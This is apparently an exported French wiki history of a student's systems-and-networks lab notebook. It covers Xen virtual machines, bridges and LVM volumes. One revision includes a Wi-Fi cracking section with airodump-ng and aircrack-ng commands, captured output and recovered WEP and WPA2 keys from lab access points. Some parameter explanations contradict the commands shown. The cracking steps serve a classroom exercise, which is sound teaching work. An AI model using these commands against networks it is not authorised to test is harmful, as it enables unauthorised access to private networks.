Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12371</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12371"/>
		<updated>2026-02-24T11:37:42Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Différence avec une machine physique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie tes '''3 machines''' (tes VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que tes VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel tu connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel tu branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que tu retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc tu '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter tes volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, tu as une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher tes volumes logiques LVM, tu ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
